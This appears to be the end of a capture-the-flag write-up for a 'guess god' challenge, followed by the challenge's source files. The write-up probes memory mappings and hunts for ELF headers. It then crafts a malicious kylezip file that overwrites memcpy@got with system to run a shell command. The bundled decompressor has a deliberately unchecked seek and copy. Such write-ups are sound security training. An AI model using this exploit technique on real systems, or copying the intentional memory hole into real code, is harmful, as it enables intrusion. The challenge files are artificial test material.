0x7fe3d0000000 | Yes
0x7fe3df000000 | No
0x7fe3de000000 | No
0x7fe3dd000000 | No
0x7fe3dc000000 | No
0x7fe3db000000 | No
0x7fe3da000000 | No
0x7fe3d9000000 | No
0x7fe3d8000000 | No
0x7fe3d7000000 | No
0x7fe3d6000000 | Yes
0x7fe3d6f00000 | No
0x7fe3d6e00000 | No
0x7fe3d6d00000 | No
0x7fe3d6c00000 | No
0x7fe3d6b00000 | No
0x7fe3d6a00000 | Yes
0x7fe3d6af0000 | No
0x7fe3d6ae0000 | No
0x7fe3d6ad0000 | No
0x7fe3d6ac0000 | No
0x7fe3d6ab0000 | No
0x7fe3d6aa0000 | No
0x7fe3d6a90000 | No
0x7fe3d6a80000 | No
0x7fe3d6a70000 | No
0x7fe3d6a60000 | No
0x7fe3d6a50000 | Yes
0x7fe3d6a5f000 | No
0x7fe3d6a5e000 | No
0x7fe3d6a5d000 | No
0x7fe3d6a5c000 | No
0x7fe3d6a5b000 | No
0x7fe3d6a5a000 | Yes
`lastMappedPage = 0x7fe3d6a5a000`
We are bruteforcing half byte at a time, for a worst case scenario of 16*5 = 80 queries.
```py
def linearFindLargest(base, increment, idstart):
for i in range(0, 16)[::-1]:
print (f"{base + increment*i:#x}", end='\t|\t')
if isAddrMapped(base + increment*i, idstart+i):
print ('Yes')
return i*increment
print ('No')
raise Exception("linearFindLargest should not fail")
# Find upper bound, we can't do a binary search because there are some holes which
# screw things up
lastMappedPage = leakAddr
lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000)
lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100)
lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200)
lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300)
lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400)
print (f"{lastMappedPage = :#x}")
```
## 4.6 The exploit
Finally, we know everything we need about the memory mappings, now it is just a matter of leveraging a write what where primitive into code execution.
To achieve code execution I overwrote libkyle.so's memcpy@got entry with system@libc.
### Get libkyle base
Luckily for us libc base and libkyle.so base are at a constant offset from the lastMappedPage, I didn't know that was the case so I wrote a egghunter which search for `\x7fELF` \(Header of ELF executables\), which in the end wasn't useful.
```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
```
### Overwrite libkyle's memcpy@got and get RCE
Fortunately overwriting memcpy@got with system was good enough to get the flag and claim that juicy bounty :)
```py
# exp is a CompressedFile which:
# - writes libc.system to memcpy_got
# - calls memcpy(cmd, 0, 0) -> system(cmd)
cmd = b"ls;cat flag.txt;\x00"
exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
```
## 4.7 The flag!
You can find the exploit [here](resources/x.py).

There is also an 100% reliable version of the exploit [here](resources/reliable_exploit.py).
## 5. Conclusion
Hope you enjoyed the writeup, if something was not clear enough don't hesitate to contact me [@nick0ve](https://twitter.com/nick0ve) :)
================================================
FILE: resources/analyze_mappings.py
================================================
def read_proc_maps(fname):
with open(fname, 'r') as f:
lines = f.read().splitlines()
rv = []
for line in lines:
r1, r2 = line.split(' ')[0].split('-')
rv.append((int(r1,0x10), int(r2,0x10)))
return rv
def can_merge(r1, r2):
return r1[1] == r2[0]
def merge(r1, r2):
return (r1[0], r2[1])
def print_merged(mappings):
print (f"RANGE\t\t\t\t\tSIZE")
i = 0
while i < len(mappings) - 1:
r1, r2 = mappings[i:i+2]
if can_merge(r1, r2):
mappings = mappings[:i] + [merge(r1, r2)] + mappings[i+2:]
else:
i += 1
old_r = None
for r in mappings:
if old_r is not None:
if r[0] - old_r[1] < 0x10000000:
print (f"SMALL GAP\t\t\t\t{r[0] - old_r[1]:#010x}")
else:
print (f"HUGE GAP")
print(f"{r[0]:#018x} - {r[1]:#018x}\t{r[1] - r[0]:#010x}")
old_r = r
mappings = read_proc_maps('./mappings')
print_merged(mappings)
================================================
FILE: resources/dist-guess-god/.dockerignore
================================================
# Prerequisites
*.d
# Compiled Object files
*.slo
*.lo
*.o
*.obj
# Precompiled Headers
*.gch
*.pch
# Compiled Dynamic libraries
*.so
*.dylib
*.dll
# Fortran module files
*.mod
*.smod
# Compiled Static libraries
*.lai
*.la
*.a
*.lib
# Executables
*.exe
*.out
*.app
# custom build
build/
main/build/
# idea
.idea/
cmake-build-debug/
*/cmake-build-debug/
#Mac
**/.DS_Store
src/CMakeFiles/
src/CMakeCache.txt
================================================
FILE: resources/dist-guess-god/Dockerfile
================================================
FROM ubuntu:21.04@sha256:e082dd99faca91acb1f43347bf8b50ac9b9d2fdcc72253e29fe65b6b1eb1445d
ENV DEBIAN_FRONTEND=noninteractive
# Install nsjail
RUN apt-get -y update && apt-get install -y \
autoconf \
bison \
flex \
gcc \
g++ \
git \
libprotobuf-dev \
libnl-route-3-dev \
libtool \
make \
pkg-config \
protobuf-compiler \
uidmap \
cmake \
iptables \
net-tools \
iproute2 \
python3-venv \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/google/nsjail.git
RUN cd /nsjail && make && mv /nsjail/nsjail /bin && rm -rf -- /nsjail
RUN apt-get update && \
apt-get install -y \
gcc uidmap netcat cmake && \
rm -rf /var/lib/apt/lists/* && \
useradd -m ctf && \
mkdir -p /home/ctf/challenge/
RUN mkdir /chroot/ && \
chown root:ctf /chroot && \
chmod 770 /chroot
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
COPY ./ /home/ctf/challenge/src/
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /home/ctf/challenge/
WORKDIR /home/ctf/challenge/
RUN mv src/jail.cfg src/server.py src/pow.py src/setup.sh src/nsjail.sh / && \
rm -rf src/ && \
chown -R root:ctf . && \
chmod 550 flag_server-exe && \
chown root:ctf / /home /home/ctf/ && \
chmod 440 flag.txt
# venv for POW
RUN python3 -m venv /venv
RUN bash -c "source /venv/bin/activate && pip3 install ecdsa requests proxy-protocol"
EXPOSE 9000
CMD ["/setup.sh"]
================================================
FILE: resources/dist-guess-god/docker-compose.yml
================================================
version: "3"
services:
guess_god:
build: .
ports:
- 9000:9000
- 7002-7003:7002-7003
privileged: true
environment:
- "DEBUG=1"
================================================
FILE: resources/dist-guess-god/flag.txt
================================================
buckeye{this_is_a_fake_flag}
================================================
FILE: resources/dist-guess-god/jail.cfg
================================================
name: "jail"
mode: ONCE
port: 1337
cwd: "/challenge"
time_limit: 300
cgroup_cpu_ms_per_sec: 100
cgroup_pids_max: 64
rlimit_fsize: 2048
rlimit_nofile: 2048
cgroup_mem_max: 1073741824
mount {
src: "/chroot"
dst: "/"
is_bind: true
}
mount {
src: "/home/ctf/challenge"
dst: "/challenge"
is_bind: true
}
mount {
src: "/usr"
dst: "/usr"
is_bind: true
rw: false
}
mount {
src: "/bin"
dst: "/bin"
is_bind: true
rw: false
}
mount {
src: "/sbin"
dst: "/sbin"
is_bind: true
rw: false
}
mount {
src: "/lib"
dst: "/lib"
is_bind: true
rw: false
}
mount {
src: "/lib64"
dst: "/lib64"
is_bind: true
rw: false
}
mount {
dst: "/challenge/files"
fstype: "tmpfs"
options: "size=2147483648"
rw: true
}
mount {
src: "/etc/passwd"
dst: "/etc/passwd"
is_bind: true
rw: false
}
mount {
src: "/etc/group"
dst: "/etc/group"
is_bind: true
rw: false
}
mount {
src: "/dev/null"
dst: "/dev/null"
is_bind: true
rw: true
}
mount_proc: false
mount {
dst: "/proc"
fstype: "proc"
rw: false
}
macvlan_iface: "veth1"
macvlan_vs_nm: "255.255.255.0"
macvlan_vs_gw: "10.0.4.1"
envar: "LD_LIBRARY_PATH=/challenge/"
exec_bin {
path: "/challenge/flag_server-exe"
}
================================================
FILE: resources/dist-guess-god/nsjail.sh
================================================
#!/bin/bash
echo "[*] Starting..."
mkdir /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL
chown ctf /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL
iptables -S FORWARD | grep $1 | grep NEW | cut -d " " -f 2- | xargs -rL1 iptables -D
iptables -A FORWARD -i eth0 -s $2 -o veth0 -p tcp -d $1 --dport 8000 -m state --state NEW -j ACCEPT
exec nsjail --config /jail.cfg --macvlan_vs_ip $1
================================================
FILE: resources/dist-guess-god/pow.py
================================================
#!/usr/bin/env python3
# This is from kCTF (modified to remove backdoor)
# https://github.com/google/kctf/blob/69bf578e1275c9223606ab6f0eb1e69c51d0c688/docker-images/challenge/pow.py
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import base64
import os
import secrets
import socket
import sys
import hashlib
try:
import gmpy2
HAVE_GMP = True
except ImportError:
HAVE_GMP = False
sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n")
VERSION = 's'
MODULUS = 2**1279-1
CHALSIZE = 2**128
SOLVER_URL = 'https://goo.gle/kctf-pow'
def python_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = pow(x, exponent, p) ^ 1
return x
def python_sloth_square(y, diff, p):
for i in range(diff):
y = pow(y ^ 1, 2, p)
return y
def gmpy_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = gmpy2.powmod(x, exponent, p).bit_flip(0)
return int(x)
def gmpy_sloth_square(y, diff, p):
y = gmpy2.mpz(y)
for i in range(diff):
y = gmpy2.powmod(y.bit_flip(0), 2, p)
return int(y)
def sloth_root(x, diff, p):
if HAVE_GMP:
return gmpy_sloth_root(x, diff, p)
else:
return python_sloth_root(x, diff, p)
def sloth_square(x, diff, p):
if HAVE_GMP:
return gmpy_sloth_square(x, diff, p)
else:
return python_sloth_square(x, diff, p)
def encode_number(num):
size = (num.bit_length() // 24) * 3 + 3
return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
def decode_number(enc):
return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
def decode_challenge(enc):
dec = enc.split('.')
if dec[0] != VERSION:
raise Exception('Unknown challenge version')
return list(map(decode_number, dec[1:]))
def encode_challenge(arr):
return '.'.join([VERSION] + list(map(encode_number, arr)))
def get_challenge(diff):
x = secrets.randbelow(CHALSIZE)
return encode_challenge([diff, x])
def solve_challenge(chal):
[diff, x] = decode_challenge(chal)
y = sloth_root(x, diff, MODULUS)
return encode_challenge([y])
def verify_challenge(chal, sol):
[diff, x] = decode_challenge(chal)
[y] = decode_challenge(sol)
res = sloth_square(y, diff, MODULUS)
return (x == res) or (MODULUS - x == res)
def usage():
sys.stdout.write('Usage:\n')
sys.stdout.write('Solve pow: {} solve $challenge\n')
sys.stdout.write('Check pow: {} ask $difficulty\n')
sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n')
sys.stdout.write(' 1337: 1 sec\n')
sys.stdout.write(' 31337: 30 secs\n')
sys.stdout.write(' 313373: 5 mins\n')
sys.stdout.flush()
sys.exit(1)
def main():
if len(sys.argv) != 3:
usage()
sys.exit(1)
cmd = sys.argv[1]
if cmd == 'ask':
difficulty = int(sys.argv[2])
if difficulty == 0:
sys.stdout.write("== proof-of-work: disabled ==\n")
sys.exit(0)
challenge = get_challenge(difficulty)
sys.stdout.write("== proof-of-work: enabled ==\n")
sys.stdout.write("please solve a pow first\n")
sys.stdout.write("You can run the solver with:\n")
sys.stdout.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge))
sys.stdout.write("===================\n")
sys.stdout.write("\n")
sys.stdout.write("Solution? ")
sys.stdout.flush()
solution = ''
with os.fdopen(0, "rb", 0) as f:
while not solution:
line = f.readline().decode("utf-8")
if not line:
sys.stdout.write("EOF")
sys.stdout.flush()
sys.exit(1)
solution = line.strip()
if verify_challenge(challenge, solution):
sys.stdout.write("Correct\n")
sys.stdout.flush()
sys.exit(0)
else:
sys.stdout.write("Proof-of-work fail")
sys.stdout.flush()
elif cmd == 'solve':
challenge = sys.argv[2]
solution = solve_challenge(challenge)
if verify_challenge(challenge, solution, False):
sys.stderr.write("Solution: \n".format(solution))
sys.stderr.flush()
sys.stdout.write(solution)
sys.stdout.flush()
sys.stderr.write("\n")
sys.stderr.flush()
sys.exit(0)
else:
usage()
sys.exit(1)
if __name__ == "__main__":
main()
================================================
FILE: resources/dist-guess-god/server.py
================================================
import hashlib
import random
import string
import socket
from socketserver import ThreadingTCPServer, StreamRequestHandler
from multiprocessing import TimeoutError
from multiprocessing.pool import ThreadPool
import threading
import subprocess
import os
import base64
from pathlib import Path
import shutil
import requests
from proxyprotocol.v2 import ProxyProtocolV2
from proxyprotocol.reader import ProxyProtocolReader
from proxyprotocol import ProxyProtocolWantRead
from pow import get_challenge, verify_challenge, SOLVER_URL
PORT_BASE = int(os.getenv("CHALL_PORT_BASE", "7000"))
IP_BASE = "10.0.4."
POW_DIFFICULTY = int(os.getenv("POW_DIFFICULTY", "0"))
NUM_SERVERS = int(os.getenv("CHALL_NUM_SERVERS", "5"))
DEBUG = int(os.getenv("DEBUG", "0")) == 1
MY_IP = None
class MyTCPServer(ThreadingTCPServer):
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10)
self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3)
self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)
self.socket.bind(self.server_address)
pool = None
class MyTCPHandler(StreamRequestHandler):
def handle(self):
try:
if not DEBUG:
self.pp_result = read_proxy2(self)
if not self.pp_result or not send_pow(self):
return
else:
if not send_pow(self):
return
res = pool.apply_async(worker, (self,))
pos = pool._inqueue.qsize() # type: ignore
self.wfile.write(f"[*] Queued in position {pos}\n".encode())
res.get(timeout=180)
except (ConnectionError, TimeoutError) as e:
print("connection err: %s" % (e))
pass
def read_proxy2(req: MyTCPHandler):
pp_reader = ProxyProtocolReader(ProxyProtocolV2())
pp_data = bytearray()
while True:
try:
return pp_reader._parse(pp_data)
except ProxyProtocolWantRead as want_read:
try:
if want_read.want_bytes is not None:
pp_data += req.rfile.read(want_read.want_bytes)
elif want_read.want_line:
pp_data += req.rfile.readline()
else:
print("ProxyProtocolWantRead of unknown length")
return None
except (EOFError, ConnectionResetError) as exc:
print("EOF waiting for proxy data")
return None
def send_pow(req: MyTCPHandler):
if POW_DIFFICULTY == 0:
req.wfile.write(b"== proof-of-work: disabled ==\n")
req.wfile.flush()
return True
challenge = get_challenge(POW_DIFFICULTY)
req.wfile.write(b"== proof-of-work: enabled ==\n")
req.wfile.write(b"please solve a pow first\n")
req.wfile.write(b"You can run the solver with:\n")
req.wfile.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge).encode())
req.wfile.write(b"===================\n")
req.wfile.write(b"\n")
req.wfile.write(b"Solution? ")
req.wfile.flush()
solution = ''
while not solution:
solution = req.rfile.readline().decode("utf-8").strip()
if verify_challenge(challenge, solution):
req.wfile.write(b"Correct\n")
req.wfile.flush()
return True
else:
req.wfile.write(b"Proof-of-work fail")
req.wfile.flush()
return False
thread_to_port = {}
thread_port_lock = threading.Lock()
def get_port(ident):
global thread_to_port
thread_port_lock.acquire()
if ident in thread_to_port:
port = thread_to_port[ident]
else:
port = len(thread_to_port) + PORT_BASE + 2 # leave .0 and .1 unused
thread_to_port[ident] = port
thread_port_lock.release()
return port
def is_socket_closed(sock) -> bool:
try:
# this will try to read bytes without blocking and also without removing them from buffer (peek only)
data = sock.recv(16, socket.MSG_DONTWAIT | socket.MSG_PEEK)
if len(data) == 0:
return True
return False
except BlockingIOError:
return False # socket is open and reading from it would block
except ConnectionResetError:
return True # socket was closed for some other reason
except Exception as e:
logger.exception("unexpected exception when checking if a socket is closed")
return False
return False
def worker(req: MyTCPHandler):
ip = req.client_address[0]
src_port = req.client_address[1]
if not DEBUG:
real_ip = req.pp_result.source[0].exploded
else:
real_ip = ip
print(f"Worker {threading.get_ident()} handling real ip {real_ip}")
req.wfile.write(b"[+] Handling your job now\n")
id = os.urandom(16).hex()
path = Path("/tmp") / id
if not path.exists():
path.mkdir()
port = get_port(threading.get_ident())
req.wfile.write(f"\n[*] ip = {MY_IP}\n".encode())
req.wfile.write(f"[*] port = {port}\n\n".encode())
timeout = 60 * 5
req.wfile.write(f"[*] This instance will stay up for {timeout} seconds\n".encode())
req.wfile.flush()
proc = subprocess.Popen(["/nsjail.sh", IP_BASE+str(port - PORT_BASE), real_ip], stdout=req.wfile)
for x in range(timeout // 5):
try:
proc.wait(5)
break
except subprocess.TimeoutExpired:
if is_socket_closed(req.request):
break
proc.terminate()
try:
proc.wait(1)
except subprocess.TimeoutExpired:
proc.kill()
req.wfile.write(b"[*] Done. Goodbye!\n")
req.wfile.flush()
if __name__ == "__main__":
port = 9000
MY_IP = requests.get("https://api.ipify.org?format=json").json()['ip']
with MyTCPServer(("0.0.0.0", port), MyTCPHandler) as server:
try:
pool = ThreadPool(processes=NUM_SERVERS)
print(f"[*] Listening on port {port}")
server.serve_forever()
finally:
pool.close()
================================================
FILE: resources/dist-guess-god/setup.sh
================================================
#!/bin/bash
ip link add veth0 type veth peer veth1
ip addr add 10.0.4.1/24 dev veth0
ip link set up veth0
ip link set up veth1
echo 1 > /proc/sys/net/ipv4/ip_forward
NUM_SERVERS="${CHALL_NUM_SERVERS:-5}"
PORT_BASE="${CHALL_PORT_BASE:-7000}"
for i in $(seq 1 $NUM_SERVERS); do
NUM=$((i + 1))
PORT=$((NUM + PORT_BASE))
iptables -A FORWARD -i eth0 -o veth0 -p tcp -d 10.0.4.$NUM --dport 8000 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A PREROUTING -t nat -p tcp -i eth0 --dport $PORT -j DNAT --to-destination 10.0.4.$NUM:8000
iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE
done
source /venv/bin/activate
python3 /server.py
================================================
FILE: resources/dist-guess-god/src/.gitignore
================================================
# Prerequisites
*.d
# Compiled Object files
*.slo
*.lo
*.o
*.obj
# Precompiled Headers
*.gch
*.pch
# Compiled Dynamic libraries
*.so
*.dylib
*.dll
# Fortran module files
*.mod
*.smod
# Compiled Static libraries
*.lai
*.la
*.a
*.lib
# Executables
*.exe
*.out
*.app
# custom build
build/
main/build/
# idea
.idea/
cmake-build-debug/
*/cmake-build-debug/
#Mac
**/.DS_Store
CMakeFiles/
CMakeCache.txt
================================================
FILE: resources/dist-guess-god/src/CMakeLists.txt
================================================
cmake_minimum_required(VERSION 3.1)
set(project_name flag_server) ## rename your project here
project(${project_name})
set(CMAKE_CXX_STANDARD 11)
add_library(${project_name}-lib
src/AppComponent.hpp
src/controller/MyController.cpp
src/controller/MyController.hpp
src/dto/DTOs.hpp
)
# Decompression library
add_library(kylezip SHARED
kylezip/decompress.c
)
set_target_properties(kylezip PROPERTIES LANGUAGE C)
## link libs
find_package(oatpp 1.2.5 REQUIRED)
target_link_libraries(${project_name}-lib
PUBLIC oatpp::oatpp
PUBLIC oatpp::oatpp-test
kylezip
)
target_include_directories(${project_name}-lib PUBLIC src kylezip)
## add executables
add_executable(${project_name}-exe
src/App.cpp
test/app/MyApiTestClient.hpp)
target_link_libraries(${project_name}-exe ${project_name}-lib kylezip)
add_dependencies(${project_name}-exe ${project_name}-lib kylezip)
set_target_properties(${project_name}-lib ${project_name}-exe PROPERTIES
CXX_STANDARD 11
CXX_EXTENSIONS OFF
CXX_STANDARD_REQUIRED ON
)
## add test executable
add_executable(kylezip-test
kylezip/test/kyle.c
)
target_link_libraries(kylezip-test kylezip)
================================================
FILE: resources/dist-guess-god/src/kylezip/README
================================================
kylezip is a horrible compression algorithm
================================================
FILE: resources/dist-guess-god/src/kylezip/decompress.c
================================================
#include
#include
#include
#include
#include
#include
#include
#include
static int verify_file(char *in);
static uint64_t get_fsize(char *in);
static void do_decompress(char *out, char *in, size_t insize);
/* I got tired of C++ so I wrote this in C */
int decompress(const char *fname) {
char resultName[100];
strcpy(resultName, fname);
strcat(resultName, ".unkyle");
int infd = open(fname, O_RDONLY);
int outfd = open(resultName, O_RDWR|O_CREAT, 0644);
struct stat insb;
if (infd == -1 || outfd == -1) {
fprintf(stderr, "Failed to open infile or outfile\n");
return -1;
}
if (fstat(infd, &insb) != 0) {
fprintf(stderr, "Failed to stat infile\n");
return -1;
}
/* kyle wanted this mapped at his favorite address */
void *from_mem = mmap((void*)0x42069000000, insb.st_size, PROT_READ, MAP_SHARED|MAP_FIXED, infd, 0);
if (from_mem == MAP_FAILED || !verify_file(from_mem)) {
fprintf(stderr, "mmap failed or didn't verify %p\n", from_mem);
return -1;
}
size_t outsize = get_fsize(from_mem);
ftruncate(outfd, outsize);
void *to_mem = mmap((void*)0x13371337000, outsize, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, outfd, 0);
if (to_mem == MAP_FAILED) {
fprintf(stderr, "mmap failed 2\n");
return -1;
}
do_decompress(to_mem, from_mem, insb.st_size);
return 0;
}
static int verify_file(char *in) {
if (*(uint64_t*)in == 0x0123456789abcdef) return 1;
return 0;
}
static uint64_t get_fsize(char *in) {
return (*(uint64_t*)(in + 8));
}
static void do_decompress(char *out, char *in, size_t insize) {
uint64_t cur = 16;
while (cur < insize) {
uint8_t cmd = in[cur];
cur += 1;
switch (cmd) {
case 0:
// NOP
break;
case 1: {
// Write byte
uint8_t b = in[cur++];
*(out++) = b;
break;
}
case 2: {
// Seek
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
out += off;
break;
}
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
default:
break;
}
}
}
================================================
FILE: resources/dist-guess-god/src/kylezip/decompress.h
================================================
extern "C" int decompress(const char *fname);
================================================
FILE: resources/dist-guess-god/src/kylezip/test/kyle.c
================================================
#include
int decompress(const char *fname);
int main(int argc, char** argv) {
if (argc != 2) return -1;
printf("Decompressing %s\n", argv[1]);
decompress(argv[1]);
return -1;
}
================================================
FILE: resources/dist-guess-god/src/src/App.cpp
================================================
#include "./controller/MyController.hpp"
#include "./AppComponent.hpp"
#include "oatpp/network/Server.hpp"
#include
void run() {
/* Register Components in scope of run() method */
AppComponent components;
/* Get router component */
OATPP_COMPONENT(std::shared_ptr, router);
/* Create MyController and add all of its endpoints to router */
auto myController = std::make_shared();
myController->addEndpointsToRouter(router);
/* Get connection handler component */
OATPP_COMPONENT(std::shared_ptr, connectionHandler);
/* Get connection provider component */
OATPP_COMPONENT(std::shared_ptr, connectionProvider);
/* Create server which takes provided TCP connections and passes them to HTTP connection handler */
oatpp::network::Server server(connectionProvider, connectionHandler);
/* Print info about server port */
OATPP_LOGI("MyApp", "Server running on port %s", connectionProvider->getProperty("port").getData());
/* Run server */
server.run();
}
/**
* main
*/
int main(int argc, const char * argv[]) {
oatpp::base::Environment::init();
run();
/* Print how much objects were created during app running, and what have left-probably leaked */
/* Disable object counting for release builds using '-D OATPP_DISABLE_ENV_OBJECT_COUNTERS' flag for better performance */
std::cout << "\nEnvironment:\n";
std::cout << "objectsCount = " << oatpp::base::Environment::getObjectsCount() << "\n";
std::cout << "objectsCreated = " << oatpp::base::Environment::getObjectsCreated() << "\n\n";
oatpp::base::Environment::destroy();
return 0;
}
================================================
FILE: resources/dist-guess-god/src/src/AppComponent.hpp
================================================
#ifndef AppComponent_hpp
#define AppComponent_hpp
#include "oatpp/web/server/HttpConnectionHandler.hpp"
#include "oatpp/network/tcp/server/ConnectionProvider.hpp"
#include "oatpp/parser/json/mapping/ObjectMapper.hpp"
#include "oatpp/core/macro/component.hpp"
/**
* Class which creates and holds Application components and registers components in oatpp::base::Environment
* Order of components initialization is from top to bottom
*/
class AppComponent {
public:
/**
* Create ConnectionProvider component which listens on the port
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionProvider)([] {
return oatpp::network::tcp::server::ConnectionProvider::createShared({"0.0.0.0", 8000, oatpp::network::Address::IP_4});
}());
/**
* Create Router component
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, httpRouter)([] {
return oatpp::web::server::HttpRouter::createShared();
}());
/**
* Create ConnectionHandler component which uses Router component to route requests
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionHandler)([] {
OATPP_COMPONENT(std::shared_ptr, router); // get Router component
return oatpp::web::server::HttpConnectionHandler::createShared(router);
}());
/**
* Create ObjectMapper component to serialize/deserialize DTOs in Contoller's API
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, apiObjectMapper)([] {
return oatpp::parser::json::mapping::ObjectMapper::createShared();
}());
};
#endif /* AppComponent_hpp */
================================================
FILE: resources/dist-guess-god/src/src/controller/MyController.cpp
================================================
#include "MyController.hpp"
#include
#include
#include
#include
#include
#include "decompress.h"
#include
#include
std::shared_ptr MyController::get_file(int file_id, bool extract) {
auto pair = std::make_pair(file_id, extract);
lock.lock();
if (fileCache.find(pair) != fileCache.end()) {
lock.unlock();
return fileCache[pair];
}
auto filename = fileMap[file_id].c_str();
lock.unlock();
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
struct stat sb;
if (fstat(fd, &sb) != 0) {
return NULL;
}
/* mmap the file in for performance, or something... idk kyle made me write this */
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (mem == NULL) return NULL;
auto strbuf = oatpp::base::StrBuffer::createShared(mem, sb.st_size, false);
lock.lock();
fileCache[pair] = strbuf;
lock.unlock();
return strbuf;
}
================================================
FILE: resources/dist-guess-god/src/src/controller/MyController.hpp
================================================
#ifndef MyController_hpp
#define MyController_hpp
#include "dto/DTOs.hpp"
#include
#include
#include "oatpp/web/server/api/ApiController.hpp"
#include "oatpp/core/macro/codegen.hpp"
#include "oatpp/core/macro/component.hpp"
#include "oatpp/core/data/stream/FileStream.hpp"
#include "oatpp/web/mime/multipart/InMemoryPartReader.hpp"
#include "oatpp/web/mime/multipart/Reader.hpp"
#include "oatpp/web/mime/multipart/PartList.hpp"
namespace multipart = oatpp::web::mime::multipart;
#include OATPP_CODEGEN_BEGIN(ApiController) //<-- Begin Codegen
/**
* Sample Api Controller.
*/
class MyController : public oatpp::web::server::api::ApiController {
public:
/**
* Constructor with object mapper.
* @param objectMapper - default object mapper used to serialize/deserialize DTOs.
*/
MyController(OATPP_COMPONENT(std::shared_ptr, objectMapper))
: oatpp::web::server::api::ApiController(objectMapper)
{
OATPP_LOGD("MyController", "Constructor");
}
public:
ENDPOINT("GET", "/", root) {
auto dto = MyDto::createShared();
dto->statusCode = 200;
dto->message = "Hello World!";
return createDtoResponse(Status::CODE_200, dto);
}
ENDPOINT("GET", "/files/{fileId}", getFileById, PATH(Int32, fileId), QUERY(Boolean, extract, "extract", "false")) {
OATPP_LOGD("GetFile", "fileId=%d", *fileId);
/* Check if file exists */
lock.lock();
auto exists = fileMap.find(fileId) != fileMap.end();
lock.unlock();
if (exists) {
/* File exists */
auto f = get_file(fileId, extract);
if (f == NULL) {
auto dto = MyDto::createShared();
dto->statusCode = 500;
dto->message = "Internal server error";
return createDtoResponse(Status::CODE_500, dto);
}
return createResponse(Status::CODE_200, f);
} else {
auto dto = MyDto::createShared();
dto->statusCode = 404;
dto->message = "File not found";
return createDtoResponse(Status::CODE_404, dto);
}
return createResponse(Status::CODE_200, "OK");
}
/* File uploads */
ENDPOINT("POST", "/upload/{fileId}", upload, PATH(Int32, fileId), REQUEST(std::shared_ptr, request)) {
lock.lock();
auto exists = fileMap.find(fileId) != fileMap.end();
lock.unlock();
OATPP_LOGD("UploadFile", "fileId=%d", *fileId);
if (exists) {
auto dto = MyDto::createShared();
dto->statusCode = 400;
dto->message = "File already exists";
return createDtoResponse(Status::CODE_400, dto);
}
std::ostringstream filename;
filename << "files/" << fileId;
auto filename_str = filename.str();
/* Prepare multipart container. */
